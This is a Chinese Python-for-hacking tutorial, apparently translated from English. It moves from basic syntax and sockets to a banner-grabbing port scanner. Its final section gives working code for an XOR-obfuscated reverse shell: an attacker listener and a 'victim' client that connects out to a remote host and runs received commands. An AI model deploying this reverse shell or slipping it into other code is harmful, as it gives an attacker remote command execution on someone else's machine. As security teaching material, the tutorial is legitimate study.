Python黑客学习笔记：从HelloWorld到编写PoC（上）

中文原文地址：http://www.freebuf.com/news/special/58048.html

本系列文章适合CS在读学生和万年工具党，本文会在英文原文的基础上做些修改，并适当增加些解释说明。

本篇包含原文的前几部分：

0x0 – Getting Started      - 从零开始0x1 – Getting Started Pt.2   - 进阶0x2 – Port Scanner        - 端口扫描 0x3 – Reverse Shell       - 反向shell

0×0 – Getting Started – 从零开始

Python是一种十分强大的脚本语言，你可以直接的在Python解释器中编写代码或储存在文本中以便于直接执行，本文假设读者已经拥有装载好Python2.x.的Linux操作系统（译者使用的kali Linux），有其他编程经验特别是进行过C/C++语言入门学习的读者需要注意Python中强制使用缩进，我们从打开Python解释器开始。

打开终端，执行'python'命令打开Python解释器：

～$ python

Python 2.7.3Type "help", "copyright", "credits" or "license" for more information.>>>>>>

我们现在就可以在Python解释器中直接编写代码。我们定义两个变量，并用type()函数查看我们定义的变量是字符串还是整形：

>>> >>> ip = '8.8.8.8'>>> port = 53>>> type(ip)<type 'str'>>>> >>> type(port)<type 'int'>>>>

很明显，我们定义了名为‘ip’的字符串变量和一个名为‘port’的整形变量，并且我们使用type()函数指出了变量的类型。

我们可以使用内置的help()函数来了解一些特别的函数的功能：

>>>>>>help(type)>>>

按q退出帮助

将数值转成字符串，并使用‘+’拼接多个字符串然后打印，这是一个常用的功能：

>>> >>> print "The IP is: " + ip + " and the port is: " + str(port)The IP is: 8.8.8.8 and the port is: 53>>>

在上面这条代码中，‘ip’已经是一个字符型变量可以用‘+’直接与其他字符串链接在一起，而‘port’变量需要从数值型转换成字符串型，如果没有使用str()函数，执行结果会报错：

对于字符串，我们还可以进行索引、切片和取长度的操作：

>>> >>> domain = 'freebuf.com'>>> domain'freebuf.com'>>> domain[0]'f'>>> domain[0:7]'freebuf'>>> domain[3:]'ebuf.com'>>> len(domain)11>>>

注意：索引也可以是负值，此时从右侧开始计数，但-0和0一样，负的索引从-1开始。

len()函数可以返回字符串的长度。

split可以将字符串分割成列表：

>>> help(ip.split)>>> string = ip + ':' + str(port)>>> string '8.8.8.8:53'>>> string.split(':')['8.8.8.8', '53']>>>

split是一个很有用的功能，在上面的例子里我们指定以‘:’为分隔就字符分割成了一个列表(list)，同时我们可以使用‘append’和‘remove’对列表进行增加和删除的操作：

>>> list = string.split(':')>>> list['8.8.8.8', '53']>>> list[0]'8.8.8.8'>>> list[1]'53'>>> list.append('google')>>> list['8.8.8.8', '53', 'google']>>> list.remove('google')>>> list['8.8.8.8', '53']>>>

关于更多更详细的关于Python数字和字符串的介绍，请戳http://python.usyiyi.cn/python_278/tutorial/introduction.html#using-python-as-a-calculator

使用Python模块（Modules）可以用更少的代码来实现更复杂的功能，Python有许多内置的模块（os，subprocess，socket，urllib，httplib，re，sys等），并且Python可以使用更多的第三方模块（cymruwhois，scapy，dpkt，spider等）。例如os模块可以在Python里调用系统命令：

>>> import os>>> os.system("echo 'RnJlZUJ1Zg==' | base64 -d")FreeBuf0>>>

用Python对文件进行操作，下面的例子将会演示如何创建一个文件对象，并对文件进行读/写：

>>> >>> file = open('test.txt','w')>>> file.write('Hello World')>>> file.close()>>> file = open('test.txt','r')>>> file.readlines()['Hello World']>>>

退出Python交互界面可以按Ctrl+z

0×1 – Getting Started Pt.2 – 进阶

一个Python脚本的基础结构：

函数的定义，注意在Python组成函数体的语句在下一行开始必须缩进：

def MyFunction:  ...do work...  return output

#在主函数中调用定义的函数

def main():  output = MyFunction(input)

一个完整可执行的函数实例：

#!/usr/bin/pythondef fib(n):    a,b = 0,1    while a < n:        print a,        a,b = b,a+bdef main():    fib(20)if __name__=="__main__":    main()

执行的结果是打印了一串菲波那契数，fib(n)被定义生成上界为n的菲波那契数列的函数。

类(Class)：

在Python中，类的概念很有可能会让没有接触过面向对象编程的人感到头疼，完整而又详细的说明(强烈建议）请戳：http://python.usyiyi.cn/python_278/tutorial/classes.html#a-first-look-at-classes在这份说明中会对Python中类进行介绍，下面是一个类的实例，并且调用了linux系统中host命令。

>>> import os>>> class Domain:...     def __init__(self, domain, port, protocol):...             self.domain = domain...             self.port = port...             self.protocol = protocol...     def URL(self):...             if self.protocol == 'https':...                     URL = 'https://'+self.domain+':'+self.port+'/'...             if self.protocol == 'http':...                     URL = 'http://'+self.domain+':'+self.port+'/'...             return URL...     def lookup(self):...             os.system("host "+self.domain)... >>> domain = Domain('www.freebuf.com', '80', 'http')>>> >>> dir(domain)['URL', '__doc__', '__init__', '__module__', 'domain', 'lookup', 'port', 'protocol']>>> domain.URL()'http://www.freebuf.com:80/'>>> domain.ipTraceback (most recent call last):  File "<stdin>", line 1, in <module>AttributeError: Domain instance has no attribute 'ip'>>> domain.port'80'>>> domain.protocol'http'>>> domain.lookup()freebuf.com has address 223.5.0.214>>>

由于我们编写的Python程序是在CLI（command-line interface，命令行界面）下运行的，下面的例子展示了如何使用sys模块让Python程序接收参数，使用任意一种文本编辑器编写下面的代码并保存成“.py"文件：

import sysscript = sys.argv[0]ip = sys.argv[1]port = sys.argv[2]print "[+] The script name is: " + scriptprint "[+] The IP is: " + ip + " and the port is: " + port

sys.argv是一个以字符串形式保存命令行参数的列表，上述代码保存成.py文件执行结果：

0×2 – Port Scanner – 端口扫描

在阅读本节之前，我建议读者再次巩固前两节的知识，并且尝试编写一些.py程序，虽然可能会出现一连串的错误，请不要灰心，本文毕竟不是学习Python语言的捷径，文档和搜索引擎会帮助我们少走很多弯路。

在本节中将会演示如何编写一个简单的Python端口扫面程序。本节中将会利用到socket编程知识，请读者先行预习了解。

在这之前我们先尝试Python中两种循环语法：

while语句用于重复执行直到某个表达式为真：

>>> port = 1000>>> while port < 1024:...     print "The port is: " + str(port)...     port = port + 1... The port is: 1000The port is: 1001The port is: 1002The port is: 1003The port is: 1004The port is: 1005The port is: 1006The port is: 1007The port is: 1008The port is: 1009The port is: 1010The port is: 1011The port is: 1012The port is: 1013The port is: 1014The port is: 1015The port is: 1016The port is: 1017The port is: 1018The port is: 1019The port is: 1020The port is: 1021The port is: 1022The port is: 1023>>>

for用法，下面的例子中用到了可以实现遍历一个数字序列的range()函数：

>>> >>> for port in range(1000, 1024):...     print "[+] The port is: " + str(port)... [+] The port is: 1000[+] The port is: 1001[+] The port is: 1002[+] The port is: 1003[+] The port is: 1004[+] The port is: 1005[+] The port is: 1006[+] The port is: 1007[+] The port is: 1008[+] The port is: 1009[+] The port is: 1010[+] The port is: 1011[+] The port is: 1012[+] The port is: 1013[+] The port is: 1014[+] The port is: 1015[+] The port is: 1016[+] The port is: 1017[+] The port is: 1018[+] The port is: 1019[+] The port is: 1020[+] The port is: 1021[+] The port is: 1022[+] The port is: 1023>>>

请注意，再次提醒编写Python程序要注意缩进，否则会报错。

上面的代码片段将会成为端口扫描程序的基础框架，我们调用内置的socket模块，尝试几个例子：

首先我在我的机器上开启了ssh服务，这样我的22端口也随之打开

>>> import socket>>> s = socket.socket()>>> s.connect(('127.0.0.1', 22))>>> s.send('FreeBuf \n')9>>> banner = s.recv(1024)>>> print bannerSSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u2Protocol mismatch.>>>

在上面的代码片段中调用了socket模块并用connect()函数链接了相应的IP和端口号，这样就会建立一个相应的TCP链接（SYN/SYN-ACK/ACK），用send()函数发送数据并用recv()函数接收相应。我们将端口号改成23（这是一个没有开启的端口），看一下会有什么结果：

>>> import socket>>> s = socket.socket()>>> s.connect(('127.0.0.1', 23))Traceback (most recent call last):  File "<stdin>", line 1, in <module>  File "/usr/lib/python2.7/socket.py", line 224, in meth    return getattr(self._sock,name)(*args)socket.error: [Errno 111] Connection refused>>>

报错了，我们可以使用‘try/except’来处理报错:

>>> try:...     s.connect(('127.0.0.1', 23))... except: pass... >>>

没有出现错误提示，现在我们结合一下上面的代码段，编写一个简单的端口扫描程序：

scan.py：

import socketfor port in range(20,25):    try:        s = socket.socket()        print "[+] Attempting to connect to 127.0.0.1: " + str(port)        s.connect(('127.0.0.1', port))        s.send('scan')        banner = s.recv(1024)        if banner:            print "[+] Port " + str(port) + " open: \n" + banner        s.close()    except: pass

运行结果：

也可以将常见端口和要扫描的ip添加进数组：

import socketports = [21, 22, 53, 445, 80, 443, 3389, 8080]hosts = ['127.0.0.1', '10.10.10.10', '192.168.1.1']for host in hosts:    for port in ports:        try:            s = socket.socket()            print "[+] Attempting to connect to " + host + ":" + str(port)            s.connect((host, port))            s.send('absdkfbsdafblabldsfdbfhasdflbf /n')            banner = s.recv(1024)            if banner:                print "[+] " + host + ":" + str(port) + " open: \n" + banner            s.close()        except:             pass

运行结果：

0×3 – Reverse Shell – 反向shell

在本节前读者有必要再进行一个socket通信实验，在这里以UDP作为例子：

server端udp_server.py:

import sockethost = ''port = 1024buf_size = 128addr = (host, port)udp_server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)udp_server.bind(addr)while True:    print 'wating for message...'    data, addr = udp_server.recvfrom(buf_size)    print '...received from and return to:' + str(addr) + ": " + dataudp_server.close()

client端udp_client.py:

import sockethost = 'localhost'port = 1024buf_size = 128addr = (host, port)udp_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)while True:    data = raw_input('>')    if not data:        break    udp_client.sendto(data, addr)udp_client.close()

效果如图：

下面是一个简单的反向shell的代码实例，假设我们的反向shell在“受害者”的电脑上运行，“攻击者”可以远程与反向shell进行通信，并在“受害者”的电脑中执行命令并回显结果。

“攻击者”端，与反向shell进行链接，发送指令，接受指令执行的回显：

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(("0.0.0.0", 443))s.listen(2048)print "Listening on port 443... "(client, (ip, port)) = s.accept()print " recived connection from : ", ipwhile True:    command = raw_input('~$ ')    encode = bytearray(command)    for i in range(len(encode)):        encode[i] ^= 0x41        client.send(encode)    en_data = client.recv(2048)     decode = bytearray(en_data)    for i in range(len(decode)):        decode[i] ^= 0x41    print decodeclient.close()s.close()

“受害者”端，反向shell，与“攻击端”进行链接，接受并执行指令，并发送回显：

#!/usr/bin/pythonimport socket, subprocess, sysRHOST = sys.argv[1]RPORT = 443s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((RHOST, RPORT))while True:    # receive XOR encoded data from network socket    data = s.recv(1024)    # XOR the data again with a '\x41' to get back to normal data    en_data = bytearray(data)    for i in range(len(en_data)):        en_data[i] ^= 0x41    # Execute the decode data as a command.    # The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable    comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)    comm.wait()    STDOUT, STDERR = comm.communicate()       print STDERR    # Encode the output and send to RHOST    en_STDOUT= bytearray(STDOUT)    for i in range(len(en_STDOUT)):        en_STDOUT[i] ^= 0x41    s.send(en_STDOUT)s.close()

效果如图：

注：修改了原文中的代码，增加了一句“comm.wait()“。